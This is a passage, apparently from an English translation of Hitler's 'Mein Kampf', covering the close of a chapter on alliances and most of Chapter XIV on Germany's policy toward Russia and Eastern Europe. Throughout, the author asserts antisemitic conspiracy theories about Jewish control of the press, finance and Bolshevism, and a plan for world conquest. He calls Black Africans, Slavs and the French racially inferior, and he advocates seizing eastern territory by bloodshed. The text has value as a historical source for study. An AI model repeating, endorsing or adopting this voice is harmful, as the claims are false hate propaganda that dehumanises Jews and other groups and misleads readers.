reason a strict duty devolves upon everybody not to allow any +weapon to fall into the hands of those who would interfere with the work +of bringing about a mutual understanding with other nations. This is +specially so in our case, where we have to deal with the pretentions and +fantastic talk of our patriotic associations and our small bourgeoisie +who talk politics in the cafes. That the cry for a new war fleet, the +restoration of our colonies, etc., has no chance of ever being carried +out in practice will not be denied by anyone who thinks over the matter +calmly and seriously. These harmless and sometimes half-crazy spouters +in the war of protests are serving the interests of our mortal enemy, +while the manner in which their vapourings are exploited for political +purposes in England cannot be considered as advantageous to Germany. + +They squander their energies in futile demonstrations against the whole +world. These demonstrations are harmful to our interests and those who +indulge in them forget the fundamental principle which is a preliminary +condition of all success. What thou doest, do it thoroughly. Because we +keep on howling against five or ten States we fail to concentrate all +the forces of our national will and our physical strength for a blow at +the heart of our bitterest enemy. And in this way we sacrifice the +possibility of securing an alliance which would reinforce our strength +for that decisive conflict. + +Here, too, there is a mission for National Socialism to fulfil. It must +teach our people not to fix their attention on the little things but +rather on the great things, not to exhaust their energies on secondary +objects, and not to forget that the object we shall have to fight for +one day is the bare existence of our people and that the sole enemy we +shall have to strike at is that Power which is robbing us of this +existence. + +It may be that we shall have many a heavy burden to bear. But this is by +no means an excuse for refusing to listen to reason and raise +nonsensical outcries against the rest of the world, instead of +concentrating all our forces against the most deadly enemy. + +Moreover, the German people will have no moral right to complain of the +manner in which the rest of the world acts towards them, as long as they +themselves have not called to account those criminals who sold and +betrayed their own country. We cannot hope to be taken very seriously if +we indulge in long-range abuse and protests against England and Italy +and then allow those scoundrels to circulate undisturbed in our own +country who were in the pay of the enemy war propaganda, took the +weapons out of our hands, broke the backbone of our resistance and +bartered away the REICH for thirty pieces of silver. + +The enemy did only what was expected. And we ought to learn from the +stand he took and the way he acted. + +Anyone who cannot rise to the level of this outlook must reflect that +otherwise there would remain nothing else than to renounce the idea of +adopting any policy of alliances for the future. For if we cannot form +an alliance with England because she has robbed us of our colonies, or +with Italy because she has taken possession of South Tyrol, or with +Poland or Czechoslovakia, then there remains no other possibility of an +alliance in Europe except with France which, inter alia, has robbed us +of Alsace and Lorraine. + +There can scarcely be any doubt as to whether this last alternative +would be advantageous to the interests of the German people. But if it +be defended by somebody one is always doubtful whether that person be +merely a simpleton or an astute rogue. + +As far as concerns the leaders in these activities, I think the latter +hypothesis is true. + +A change in public feeling among those nations which have hitherto been +enemies and whose true interests will correspond in the future with ours +could be effected, as far as human calculation goes, if the internal +strength of our State and our manifest determination to secure our own +existence made it clear that we should be valuable allies. Moreover, it +is necessary that our incompetent way of doing things and our criminal +conduct in some matters should not furnish grounds which may be utilized +for purposes of propaganda by those who would oppose our projects of +establishing an alliance with one or other of our former enemies. + +The answer to the third question is still more difficult: Is it +conceivable that they who represent the true interests of those nations +which may possibly form an alliance with us could put their views into +practice against the will of the Jew, who is the mortal enemy of +national and independent popular States? + +For instance, could the motive-forces of Great Britain's traditional +statesmanship smash the disastrous influence of the Jew, or could they +not? + +This question, as I have already said, is very difficult to answer. The +answer depends on so many factors that it is impossible to form a +conclusive judgment. Anyhow, one thing is certain: The power of the +Government in a given State and at a definite period may be so firmly +established in the public estimation and so absolutely at the service of +the country's interests that the forces of international Jewry could not +possibly organize a real and effective obstruction against measures +considered to be politically necessary. + +The fight which Fascist Italy waged against Jewry's three principal +weapons, the profound reasons for which may not have been consciously +understood (though I do not believe this myself) furnishes the best +proof that the poison fangs of that Power which transcends all State +boundaries are being drawn, even though in an indirect way. The +prohibition of Freemasonry and secret societies, the suppression of the +supernational Press and the definite abolition of Marxism, together with +the steadily increasing consolidation of the Fascist concept of the +State--all this will enable the Italian Government, in the course of +some years, to advance more and more the interests of the Italian people +without paying any attention to the hissing of the Jewish world-hydra. + +The English situation is not so favourable. In that country which has +'the freest democracy' the Jew dictates his will, almost unrestrained +but indirectly, through his influence on public opinion. And yet there +is a perpetual struggle in England between those who are entrusted with +the defence of State interests and the protagonists of Jewish +world-dictatorship. + +After the War it became clear for the first time how sharp this contrast +is, when British statesmanship took one stand on the Japanese problem +and the Press took a different stand. + +Just after the War had ceased the old mutual antipathy between America +and Japan began to reappear. Naturally the great European Powers could +not remain indifferent to this new war menace. In England, despite the +ties of kinship, there was a certain amount of jealousy and anxiety over +the growing importance of the United States in all spheres of +international economics and politics. What was formerly a colonial +territory, the daughter of a great mother, seemed about to become the +new mistress of the world. It is quite understandable that to-day +England should re-examine her old alliances and that British +statesmanship should look anxiously to the danger of a coming moment +when the cry would no longer be: "Britain rules the waves", but rather: +"The Seas belong to the United States". + +The gigantic North American State, with the enormous resources of its +virgin soil, is much more invulnerable than the encircled German REICH. +Should a day come when the die which will finally decide the destinies +of the nations will have to be cast in that country, England would be +doomed if she stood alone. Therefore she eagerly reaches out her hand to +a member of the yellow race and enters an alliance which, from the +racial point of view is perhaps unpardonable; but from the political +viewpoint it represents the sole possibility of reinforcing Britain's +world position in face of the strenuous developments taking place on the +American continent. + +Despite the fact that they fought side by side on the European +battlefields, the British Government did not decide to conclude an +alliance with the Asiatic partner, yet the whole Jewish Press opposed +the idea of a Japanese alliance. + +How can we explain the fact that up to 1918 the Jewish Press championed +the policy of the British Government against the German REICH and then +suddenly began to take its own way and showed itself disloyal to the +Government? + +It was not in the interests of Great Britain to have Germany +annihilated, but primarily a Jewish interest. And to-day the destruction +of Japan would serve British political interests less than it would +serve the far-reaching intentions of those who are leading the movement +that hopes to establish a Jewish world-empire. While England is using +all her endeavours to maintain her position in the world, the Jew is +organizing his aggressive plans for the conquest of it. + +He already sees the present European States as pliant instruments in his +hands, whether indirectly through the power of so-called Western +Democracy or in the form of a direct domination through Russian +Bolshevism. But it is not only the old world that he holds in his snare; +for a like fate threatens the new world. Jews control the financial +forces of America on the stock exchange. Year after year the Jew +increases his hold on Labour in a nation of 120 million souls. But a +very small section still remains quite independent and is thus the cause +of chagrin to the Jew. + +The Jews show consummate skill in manipulating public opinion and using +it as an instrument in fighting for their own future. + +The great leaders of Jewry are confident that the day is near at hand +when the command given in the Old Testament will be carried out and the +Jews will devour the other nations of the earth. + +Among this great mass of denationalized countries which have become +Jewish colonies one independent State could bring about the ruin of the +whole structure at the last moment. The reason for doing this would be +that Bolshevism as a world-system cannot continue to exist unless it +encompasses the whole earth. Should one State preserve its national +strength and its national greatness the empire of the Jewish satrapy, +like every other tyranny, would have to succumb to the force of the +national idea. + +As a result of his millennial experience in accommodating himself to +surrounding circumstances, the Jew knows very well that he can undermine +the existence of European nations by a process of racial bastardization, +but that he could hardly do the same to a national Asiatic State like +Japan. To-day he can ape the ways of the German and the Englishman, the +American and the Frenchman, but he has no means of approach to the +yellow Asiatic. Therefore he seeks to destroy the Japanese national +State by using other national States as his instruments, so that he may +rid himself of a dangerous opponent before he takes over supreme control +of the last national State and transforms that control into a tyranny +for the oppression of the defenceless. + +He does not want to see a national Japanese State in existence when he +founds his millennial empire of the future, and therefore he wants to +destroy it before establishing his own dictatorship. + +And so he is busy to-day in stirring up antipathy towards Japan among +the other nations, as he stirred it up against Germany. Thus it may +happen that while British statesmanship is still endeavouring to ground +its policy in the alliance with Japan, the Jewish Press in Great Britain +may be at the same time leading a hostile movement against that ally and +preparing for a war of destruction by pretending that it is for the +triumph of democracy and at the same time raising the war-cry: Down with +Japanese militarism and imperialism. + +Thus in England to-day the Jew opposes the policy of the State. And for +this reason the struggle against the Jewish world-danger will one day +begin also in that country. + +And here again the National Socialist Movement has a tremendous task +before it. + +It must open the eyes of our people in regard to foreign nations and it +must continually remind them of the real enemy who menaces the world +to-day. In place of preaching hatred against Aryans from whom we may be +separated on almost every other ground but with whom the bond of kindred +blood and the main features of a common civilization unite us, we must +devote ourselves to arousing general indignation against the maleficent +enemy of humanity and the real author of all our sufferings. + +The National Socialist Movement must see to it that at least in our own +country the mortal enemy is recognized and that the fight against him +may be a beacon light pointing to a new and better period for other +nations as well as showing the way of salvation for Aryan humanity in +the struggle for its existence. + +Finally, may reason be our guide and will-power our strength. And may +the sacred duty of directing our conduct as I have pointed out give us +perseverance and tenacity; and may our faith be our supreme protection. + + + + +CHAPTER XIV + + + +GERMANY'S POLICY IN EASTERN EUROPE + + +There are two considerations which induce me to make a special analysis +of Germany's position in regard to Russia. These are: + +(1) This may prove to be the most decisive point in determining +Germany's foreign policy. + +(2) The problem which has to be solved in this connection is also a +touchstone to test the political capacity of the young National +Socialist Movement for clear thinking and acting along the right lines. + +I must confess that the second consideration has often been a source of +great anxiety to me. The members of our movement are not recruited from +circles which are habitually indifferent to public affairs, but mostly +from among men who hold more or less extreme views. Such being the case, +it is only natural that their understanding of foreign politics should +suffer from the prejudice and inadequate knowledge of those circles to +which they were formerly attached by political and ideological ties. And +this is true not merely of the men who come to us from the Left. On the +contrary, however subversive may have been the kind of teaching they +formerly received in regard to these problems, in very many cases this +was at least partly counterbalanced by the residue of sound and natural +instincts which remained. In such cases it is only necessary to +substitute a better teaching in place of the earlier influences, in +order to transform the instinct of self-preservation and other sound +instincts into valuable assets. + +On the other hand, it is much more difficult to impress definite +political ideas on the minds of men whose earlier political education +was not less nonsensical and illogical than that given to the partisans +of the Left. These men have sacrificed the last residue of their natural +instincts to the worship of some abstract and entirely objective theory. +It is particularly difficult to induce these representatives of our +so-called intellectual circles to take a realistic and logical view of +their own interests and the interests of their nation in its relations +with foreign countries. Their minds are overladen with a huge burden of +prejudices and absurd ideas and they have lost or renounced every +instinct of self-preservation. With those men also the National +Socialist Movement has to fight a hard battle. And the struggle is all +the harder because, though very often they are utterly incompetent, they +are so self-conceited that, without the slightest justification, they +look down with disdain on ordinary commonsense people. These arrogant +snobs who pretend to know better than other people, are wholly incapable +of calmly and coolly analysing a problem and weighing its pros and cons, +which are the necessary preliminaries of any decision or action in the +field of foreign politics. + +It is just this circle which is beginning to-day to divert our foreign +policy into most disastrous directions and turn it away from the task of +promoting the real interests of the nation. Seeing that they do this in +order to serve their own fantastic ideologies, I feel myself obliged to +take the greatest pains in laying before my own colleagues a clear +exposition of the most important problem in our foreign policy, namely, +our position in relation to Russia. I shall deal with it, as thoroughly +as may be necessary to make it generally understood and as far as the +limits of this book permit. Let me begin by laying down the following +postulate: + +When we speak of foreign politics we understand that domain of +government which has set before it the task of managing the affairs of a +nation in its relations with the rest of the world. Now the guiding +principles which must be followed in managing these affairs must be +based on the definite facts that are at hand. Moreover, as National +Socialists, we must lay down the following axiom regarding the manner in +which the foreign policy of a People's State should be conducted: + +The foreign policy of a People's State must first of all bear in mind +the duty of securing the existence of the race which is incorporated in +this State. And this must be done by establishing a healthy and natural +proportion between the number and growth of the population on the one +hand and the extent and resources of the territory they inhabit, on the +other. That balance must be such that it accords with the vital +necessities of the people. + +What I call a HEALTHY proportion is that in which the support of a +people is guaranteed by the resources of its own soil and sub-soil. Any +situation which falls short of this condition is none the less unhealthy +even though it may endure for centuries or even a thousand years. Sooner +or later, this lack of proportion must of necessity lead to the decline +or even annihilation of the people concerned. + +Only a sufficiently large space on this earth can assure the independent +existence of a people. + +The extent of the territorial expansion that may be necessary for the +settlement of the national population must not be estimated by present +exigencies nor even by the magnitude of its agricultural productivity in +relation to the number of the population. In the first volume of this +book, under the heading "Germany's Policy of Alliances before the War," +I have already explained that the geometrical dimensions of a State are +of importance not only as the source of the nation's foodstuffs and raw +materials, but also from the political and military standpoints. Once a +people is assured of being able to maintain itself from the resources of +the national territory, it must think of how this national territory can +be defended. National security depends on the political strength of a +State, and this strength, in its turn, depends on the military +possibilities inherent in the geographical situation. + +Thus the German nation could assure its own future only by being a World +Power. For nearly two thousand years the defence of our national +interests was a matter of world history, as can be seen from our more or +less successful activities in the field of foreign politics. We +ourselves have been witnesses to this, seeing that the gigantic struggle +that went on from 1914 to 1918 was only the struggle of the German +people for their existence on this earth, and it was carried out in such +a way that it has become known in history as the World War. + +When Germany entered this struggle it was presumed that she was a World +Power. I say PRESUMED, because in reality she was no such thing. In +1914, if there had been a different proportion between the German +population and its territorial area, Germany would have been really a +World Power and, if we leave other factors out of count, the War would +have ended in our favour. + +It is not my task nor my intention here to discuss what would have +happened if certain conditions had been fulfilled. But I feel it +absolutely incumbent on me to show the present conditions in their bare +and unadorned reality, insisting on the weakness inherent in them, so +that at least in the ranks of the National Socialist Movement they +should receive the necessary recognition. + +Germany is not at all a World Power to-day. Even though our present +military weakness could be overcome, we still would have no claim to be +called a World Power. What importance on earth has a State in which the +proportion between the size of the population and the territorial area +is so miserable as in the present German REICH? At an epoch in which the +world is being gradually portioned out among States many of whom almost +embrace whole continents one cannot speak of a World Power in the case +of a State whose political motherland is confined to a territorial area +of barely five-hundred-thousand square kilometres. + +Looked at purely from the territorial point of view, the area comprised +in the German REICH is insignificant in comparison with the other States +that are called World Powers. England must not be cited here as an +example to contradict this statement; for the English motherland is in +reality the great metropolis of the British World Empire, which owns +almost a fourth of the earth's surface. Next to this we must consider +the American Union as one of the foremost among the colossal States, +also Russia and China. These are enormous spaces, some of which are more +than ten times greater in territorial extent than the present German +REICH. France must also be ranked among these colossal States. Not only +because she is adding to the strength of her army in a constantly +increasing measure by recruiting coloured troops from the population of +her gigantic empire, but also because France is racially becoming more +and more negroid, so much so that now one can actually speak of the +creation of an African State on European soil. The contemporary colonial +policy of France cannot be compared with that of Germany in the past. If +France develops along the lines it has taken in our day, and should that +development continue for the next three hundred years, all traces of +French blood will finally be submerged in the formation of a +Euro-African Mulatto State. This would represent a formidable and +compact colonial territory stretching from the Rhine to the Congo, +inhabited by an inferior race which had developed through a slow and +steady process of bastardization. + +That process distinguishes French colonial policy from the policy +followed by the old Germany. + +The former German colonial policy was carried out by half-measures, as +was almost everything they did at that time. They did not gain an +expanse of territory for the settlement of German nationals nor did they +attempt to reinforce the power of the REICH through the enlistment of +black troops, which would have been a criminal undertaking. The Askari +in German East Africa represented a small and hesitant step along this +road; but in reality they served only for the defence of the colony +itself. The idea of importing black troops to a European theatre of +war--apart entirely from the practical impossibility of this in the +World War--was never entertained as a proposal to be carried out under +favourable circumstances; whereas, on the contrary, the French always +looked on such an idea as fundamental in their colonial activities. + +Thus we find in the world to-day not only a number of States that are +much greater than the German in the mere numerical size of their +populations, but also possess a greater support for their political +power. The proportion between the territorial dimensions of the German +REICH and the numerical size of its population was never so unfavourable +in comparison with the other world States as at the beginning of our +history two thousand years ago and again to-day. At the former juncture +we were a young people and we stormed a world which was made up of great +States that were already in a decadent condition, of which the last +giant was Rome, to whose overthrow we contributed. To-day we find +ourselves in a world of great and powerful States, among which the +importance of our own REICH is constantly declining more and more. + +We must always face this bitter truth with clear and calm minds. We must +study the area and population of the German REICH in relation to the +other States and compare them down through the centuries. Then we shall +find that, as I have said, Germany is not a World Power whether its +military strength be great or not. + +There is no proportion between our position and that of the other States +throughout the world. And this lack of proportion is to be attributed to +the fact that our foreign policy never had a definite aim to attain, and +also to the fact that we lost every sound impulse and instinct for +self-preservation. + +If the historians who are to write our national history at some future +date are to give the National Socialist Movement the credit of having +devoted itself to a sacred duty in the service of our people, this +movement will have to recognize the real truth of our situation in +regard to the rest of the world. However painful this recognition may +be, the movement must draw courage from it and a sense of practical +realities in fighting against the aimlessness and incompetence which has +hitherto been shown by our people in the conduct of their foreign +policy. Without respect for 'tradition,' and without any preconceived +notions, the movement must find the courage to organize our national +forces and set them on the path which will lead them away from that +territorial restriction which is the bane of our national life to-day, +and win new territory for them. Thus the movement will save the German +people from the danger of perishing or of being slaves in the service of +any other people. + +Our movement must seek to abolish the present disastrous proportion +between our population and the area of our national territory, +considering national territory as the source of our maintenance or as a +basis of political power. And it ought to strive to abolish the contrast +between past history and the hopelessly powerless situation in which we +are to-day. In striving for this it must bear in mind the fact that we +are members of the highest species of humanity on this earth, that we +have a correspondingly high duty, and that we shall fulfil this duty +only if we inspire the German people with the racial idea, so that they +will occupy themselves not merely with the breeding of good dogs and +horses and cats, but also care for the purity of their own blood. + +When I say that the foreign policy hitherto followed by Germany has been +without aim and ineffectual, the proof of my statement will be found in +the actual failures of this policy. Were our people intellectually +backward, or if they lacked courage, the final results of their efforts +could not have been worse than what we see to-day. What happened during +the last decades before the War does not permit of any illusions on this +point; because we must not measure the strength of a State taken by +itself, but in comparison with other States. Now, this comparison shows +that the other States increased their strength in such a measure that +not only did it balance that of Germany but turned out in the end to be +greater; so that, contrary to appearances, when compared with the other +States Germany declined more and more in power until there was a large +margin in her disfavour. Yes, even in the size of our population we +remained far behind, and kept on losing ground. Though it is true that +the courage of our people was not surpassed by that of any other in the +world and that they poured out more blood than any other nation in +defence of their existence, their failure was due only to the erroneous +way in which that courage was turned to practical purposes. + +In this connection, if we examine the chain of political vicissitudes +through which our people have passed during more than a thousand years, +recalling the innumerable struggles and wars and scrutinizing it all in +the light of the results that are before our eyes to-day, we must +confess that from the ocean of blood only three phenomena have emerged +which we must consider as lasting fruits of political happenings +definitely determined by our foreign policy. + +(1) The colonization of the Eastern Mark, which was mostly the work of +the Bajuvari. + +(2) The conquest and settlement of the territory east of the Elbe. + +(3) The organization of the Brandenburg-Prussian State, which was the +work of the Hohenzollerns and which became the model for the +crystallization of a new REICH. + +An instructive lesson for the future. + +These first two great successes of our foreign policy turned out to be +the most enduring. Without them our people would play no role in the +world to-day. These achievements were the first and unfortunately the +only successful attempts to establish a harmony between our increasing +population and the territory from which it drew its livelihood. And we +must look upon it as of really fatal import that our German historians +have never correctly appreciated these formidable facts which were so +full of importance for the following generations. In contradistinction +to this, they wrote panegyrics on many other things, fantastic heroism, +innumerable adventures and wars, without understanding that these latter +had no significance whatsoever for the main line of our national +development. + +The third great success achieved by our political activity was the +establishment of the Prussian State and the development of a particular +State concept which grew out of this. To the same source we are to +attribute the organization of the instinct of national self-preservation +and self-defence in the German Army, an achievement which suited the +modern world. The transformation of the idea of self-defence on the part +of the individual into the duty of national defence is derived from the +Prussian State and the new statal concept which it introduced. It would +be impossible to over-estimate the importance of this historical +process. Disrupted by excessive individualism, the German nation became +disciplined under the organization of the Prussian Army and in this way +recovered at least some of the capacity to form a national community, +which in the case of other people had originally arisen through the +constructive urge of the herd instinct. Consequently the abolition of +compulsory national military service--which may have no meaning for +dozens of other nations--had fatal consequences for us. Ten generations +of Germans left without the corrective and educative effect of military +training and delivered over to the evil effects of those dissensions and +divisions the roots of which lie in their blood and display their force +also in a disunity of world-outlook--these ten generations would be +sufficient to allow our people to lose the last relics of an independent +existence on this earth. + +The German spirit could then make its contribution to civilization only +through individuals living under the rule of foreign nations and the +origin of those individuals would remain unknown. They would remain as +the fertilizing manure of civilization, until the last residue of +Nordic-Aryan blood would become corrupted or drained out. + +It is a remarkable fact that the real political successes achieved by +our people during their millennial struggles are better appreciated and +understood among our adversaries than among ourselves. Even still to-day +we grow enthusiastic about a heroism which robbed our people of millions +of their best racial stock and turned out completely fruitless in the +end. + +The distinction between the real political successes which our people +achieved in the course of their long history and the futile ends for +which the blood of the nation has been shed is of supreme importance for +the determination of our policy now and in the future. + +We, National Socialists, must never allow ourselves to re-echo the +hurrah patriotism of our contemporary bourgeois circles. It would be a +fatal danger for us to look on the immediate developments before the War +as constituting a precedent which we should be obliged to take into +account, even though only to the very smallest degree, in choosing our +own way. We can recognize no obligation devolving on us which may have +its historical roots in any part of the nineteenth century. In +contradistinction to the policy of those who represented that period, we +must take our stand on the principles already mentioned in regard to +foreign policy: namely, the necessity of bringing our territorial area +into just proportion with the number of our population. From the past we +can learn only one lesson. And this is that the aim which is to be +pursued in our political conduct must be twofold: namely (1) the +acquisition of territory as the objective of our foreign policy and (2) +the establishment of a new and uniform foundation as the objective of +our political activities at home, in accordance with our doctrine of +nationhood. + +I shall briefly deal with the question of how far our territorial aims +are justified according to ethical and moral principles. This is all the +more necessary here because, in our so-called nationalist circles, there +are all kinds of plausible phrase-mongers who try to persuade the German +people that the great aim of their foreign policy ought to be to right +the wrongs of 1918, while at the same time they consider it incumbent on +them to assure the whole world of the brotherly spirit and sympathy of +the German people towards all other nations. + +In regard to this point I should like to make the following statement: +To demand that the 1914 frontiers should be restored is a glaring +political absurdity that is fraught with such consequences as to make +the claim itself appear criminal. The confines of the REICH as they +existed in 1914 were thoroughly illogical; because they were not really +complete, in the sense of including all the members of the German +nation. Nor were they reasonable, in view of the geographical exigencies +of military defence. They were not the consequence of a political plan +which had been well considered and carried out. But they were temporary +frontiers established in virtue of a political struggle that had not +been brought to a finish; and indeed they were partly the chance result +of circumstances. One would have just as good a right, and in many cases +a better right, to choose some other outstanding year than 1914 in the +course of our history and demand that the objective of our foreign +policy should be the re-establishment of the conditions then existing. +The demands I have mentioned are quite characteristic of our bourgeois +compatriots, who in such matters take no political thought of the +future, They live only in the past and indeed only in the immediate +past; for their retrospect does not go back beyond their own times. The +law of inertia binds them to the present order of things, leading them +to oppose every attempt to change this. Their opposition, however, never +passes over into any kind of active defence. It is only mere passive +obstinacy. Therefore, we must regard it as quite natural that the +political horizon of such people should not reach beyond 1914. In +proclaiming that the aim of their political activities is to have the +frontiers of that time restored, they only help to close up the rifts +that are already becoming apparent in the league which our enemies have +formed against us. Only on these grounds can we explain the fact that +eight years after a world conflagration in which a number of Allied +belligerents had aspirations and aims that were partly in conflict with +one another, the coalition of the victors still remains more or less +solid. + +Each of those States in its turn profited by the German collapse. In the +fear which they all felt before the proof of strength that we had given, +the Great Powers maintained a mutual silence about their individual +feelings of envy and enmity towards one another. They felt that the best +guarantee against a resurgence of our strength in the future would be to +break up and dismember our REICH as thoroughly as possible. A bad +conscience and fear of the strength of our people made up the durable +cement which has held the members of that league together, even up to +the present moment. + +And our conduct does not tend to change this state of affairs. Inasmuch +as our bourgeoisie sets up the restoration of the 1914 frontiers as the +aim of Germany's political programme, each member of the enemy coalition +who otherwise might be inclined to withdraw from the combination sticks +to it, out of fear lest he might be attacked by us if he isolated +himself and in that case would not have the support of his allies. Each +individual State feels itself aimed at and threatened by this programme. +And the programme is absurd, for the following two reasons: + +(1) Because there are no available means of extricating it from the +twilight atmosphere of political soirees and transforming it into +reality. + +(2) Even if it could be really carried into effect the result would be +so miserable that, surely to God, it would not be worth while to risk +the blood of our people once again for such a purpose. + +For there can be scarcely any doubt whatsoever that only through +bloodshed could we achieve the restoration of the 1914 frontiers. One +must have the simple mind of a child to believe that the revision of the +Versailles Treaty can be obtained by indirect means and by beseeching +the clemency of the victors; without taking into account the fact that +for this we should need somebody who had the character of a +Talleyrand, and there is no Talleyrand among us. Fifty percent of our +politicians consists of artful dodgers who have no character and are +quite hostile to the sympathies of our people, while the other fifty per +cent is made up of well-meaning, harmless, and complaisant incompetents. +Times have changed since the Congress of Vienna. It is no longer princes +or their courtesans who contend and bargain about State frontiers, but +the inexorable cosmopolitan Jew who is fighting for his own dominion +over the nations. The sword is the only means whereby a nation can +thrust that clutch from its throat. Only when national sentiment is +organized and concentrated into an effective force can it defy that +international menace which tends towards an enslavement of the nations. +But this road is and will always be marked with bloodshed. + +If we are once convinced that the future of Germany calls for the +sacrifice, in one way or another, of all that we have and are, then we +must set aside considerations of political prudence and devote ourselves +wholly to the struggle for a future that will be worthy of our country. + +For the future of the German nation the 1914 frontiers are of no +significance. They did not serve to protect us in the past, nor do they +offer any guarantee for our defence in the future. With these frontiers +the German people cannot maintain themselves as a compact unit, nor can +they be assured of their maintenance. From the military viewpoint these +frontiers are not advantageous or even such as not to cause anxiety. And +while we are bound to such frontiers it will not be possible for us to +improve our present position in relation to the other World Powers, or +rather in relation to the real World Powers. We shall not lessen the +discrepancy between our territory and that of Great Britain, nor shall +we reach the magnitude of the United States of America. Not only that, +but we cannot substantially lessen the importance of France in +international politics. + +One thing alone is certain: The attempt to restore the frontiers of +1914, even if it turned out successful, would demand so much bloodshed +on the part of our people that no future sacrifice would be possible to +carry out effectively such measures as would be necessary to assure the +future existence of the nation. On the contrary, under the intoxication +of such a superficial success further aims would be renounced, all the +more so because the so-called 'national honour' would seem to be +revindicated and new ports would be opened, at least for a certain time, +to our commercial development. + +Against all this we, National Socialists, must stick firmly to the aim +that we have set for our foreign policy; namely, that the German people +must be assured the territorial area which is necessary for it to exist +on this earth. And only for such action as is undertaken to secure those +ends can it be lawful in the eyes of God and our German posterity to +allow the blood of our people to be shed once again. Before God, because +we are sent into this world with the commission to struggle for our +daily bread, as creatures to whom nothing is donated and who must be +able to win and hold their position as lords of the earth only through +their own intelligence and courage. And this justification must be +established also before our German posterity, on the grounds that for +each one who has shed his blood the life of a thousand others will be +guaranteed to posterity. The territory on which one day our German +peasants will be able to bring forth and nourish their sturdy sons will +justify the blood of the sons of the peasants that has to be shed +to-day. And the statesmen who will have decreed this sacrifice may be +persecuted by their contemporaries, but posterity will absolve them from +all guilt for having demanded this offering from their people. + +Here I must protest as sharply as possible against those nationalist +scribes who pretend that such territorial extension would be a +"violation of the sacred rights of man" and accordingly pour out their +literary effusions against it. One never knows what are the hidden +forces behind the activities of such persons. But it is certain that the +confusion which they provoke suits the game our enemies are playing +against our nation and is in accordance with their wishes. By taking +such an attitude these scribes contribute criminally to weaken from the +inside and to destroy the will of our people to promote their own vital +interests by the only effective means that can be used for that purpose. +For no nation on earth possesses a square yard of ground and soil by +decree of a higher Will and in virtue of a higher Right. The German +frontiers are the outcome of chance, and are only temporary frontiers +that have been established as the result of political struggles which +took place at various times. The same is also true of the frontiers +which demarcate the territories on which other nations live. And just as +only an imbecile could look on the physical geography of the globe as +fixed and unchangeable--for in reality it represents a definite stage in +a given evolutionary epoch which is due to the formidable forces of +Nature and may be altered to-morrow by more powerful forces of +destruction and change--so, too, in the lives of the nations the +confines which are necessary for their sustenance are subject to change. + +State frontiers are established by human beings and may be changed by +human beings. + +The fact that a nation has acquired an enormous territorial area is no +reason why it should hold that territory perpetually. At most, the +possession of such territory is a proof of the strength of the conqueror +and the weakness of those who submit to him. And in this strength alone +lives the right of possession. If the German people are imprisoned +within an impossible territorial area and for that reason are face to +face with a miserable future, this is not by the command of Destiny, and +the refusal to accept such a situation is by no means a violation of +Destiny's laws. For just as no Higher Power has promised more territory +to other nations than to the German, so it cannot be blamed for an +unjust distribution of the soil. The soil on which we now live was not a +gift bestowed by Heaven on our forefathers. But they had to conquer it +by risking their lives. So also in the future our people will not obtain +territory, and therewith the means of existence, as a favour from any +other people, but will have to win it by the power of a triumphant +sword. + +To-day we are all convinced of the necessity of regulating our situation +in regard to France; but our success here will be ineffective in its +broad results if the general aims of our foreign policy will have to +stop at that. It can have significance for us only if it serves to cover +our flank in the struggle for that extension of territory which is +necessary for the existence of our people in Europe. For colonial +acquisitions will not solve that question. It can be solved only by the +winning of such territory for the settlement of our people as will +extend the area of the motherland and thereby will not only keep the new +settlers in the closest communion with the land of their origin, but +will guarantee to this territorial ensemble the advantages which arise +from the fact that in their expansion over greater territory the people +remain united as a political unit. + +The National Movement must not be the advocate for other nations, but +the protagonist for its own nation. Otherwise it would be something +superfluous and, above all, it would have no right to clamour against +the action of the past; for then it would be repeating the action of the +past. The old German policy suffered from the mistake of having been +determined by dynastic considerations. The new German policy must not +follow the sentimentality of cosmopolitan patriotism. Above all, we must +not form a police guard for the famous 'poor small nations'; but we must +be the soldiers of the German nation. + +We National Socialists have to go still further. The right to territory +may become a duty when a great nation seems destined to go under unless +its territory be extended. And that is particularly true when the nation +in question is not some little group of negro people but the Germanic +mother of all the life which has given cultural shape to the modern +world. Germany will either become a World Power or will not continue to +exist at all. But in order to become a World Power it needs that +territorial magnitude which gives it the necessary importance to-day and +assures the existence of its citizens. + +Therefore we National Socialists have purposely drawn a line through the +line of conduct followed by pre-War Germany in foreign policy. We put an +end to the perpetual Germanic march towards the South and West of Europe +and turn our eyes towards the lands of the East. We finally put a stop +to the colonial and trade policy of pre-War times and pass over to the +territorial policy of the future. + +But when we speak of new territory in Europe to-day we must principally +think of Russia and the border States subject to her. + +Destiny itself seems to wish to point out the way for us here. In +delivering Russia over to Bolshevism, Fate robbed the Russian people of +that intellectual class which had once created the Russian State and +were the guarantee of its existence. For the Russian State was not +organized by the constructive political talent of the Slav element in +Russia, but was much more a marvellous exemplification of the capacity +for State-building possessed by the Germanic element in a race of +inferior worth. Thus were many powerful Empires created all over the +earth. More often than once inferior races with Germanic organizers and +rulers as their leaders became formidable States and continued to exist +as long as the racial nucleus remained which had originally created each +respective State. For centuries Russia owed the source of its livelihood +as a State to the Germanic nucleus of its governing class. But this +nucleus is now almost wholly broken up and abolished. The Jew has taken +its place. Just as it is impossible for the Russian to shake off the +Jewish yoke by exerting his own powers, so, too, it is impossible for +the Jew to keep this formidable State in existence for any long period +of time. He himself is by no means an organizing element, but rather a +ferment of decomposition. This colossal Empire in the East is ripe for +dissolution. And the end of the Jewish domination in Russia will also be +the end of Russia as a State. We are chosen by Destiny to be the +witnesses of a catastrophe which will afford the strongest confirmation +of the nationalist theory of race. + +But it is our task, and it is the mission of the National Socialist +Movement, to develop in our people that political mentality which will +enable them to realize that the aim which they must set to themselves +for the fulfilment of their future must not be some wildly enthusiastic +adventure in the footsteps of Alexander the Great but industrious labour +with the German plough, for which the German sword will provide the +soil. + +That the Jew should declare himself bitterly hostile to such a policy is +only quite natural. For the Jews know better than any others what the +adoption of this line of conduct must mean for their own future. That +fact alone ought to teach all genuine nationalists that this new +orientation is the right and just one. But, unfortunately, the opposite +is the case. Not only among the members of the German-National Party but +also in purely nationalist circles violent opposition is raised against +this Eastern policy. And in connection with that opposition, as in all +such cases, the authority of great names is appealed to. The spirit of +Bismarck is evoked in defence of a policy which is as stupid as it is +impossible, and is in the highest degree detrimental to the interests of +the German people. They say that Bismarck laid great importance on the +value of good relations with Russia. To a certain extent, that is true. +But they quite forget to add that he laid equal stress on the importance +of good relations with Italy, for example. Indeed, the same Herr von +Bismarck once concluded an alliance with Italy so that he might more +easily settle accounts with Austria. Why is not this policy now +advocated? They will reply that the Italy of to-day is not the Italy of +that time. Good. But then, honourable sirs, permit me to remind you that +the Russia of to-day is no longer 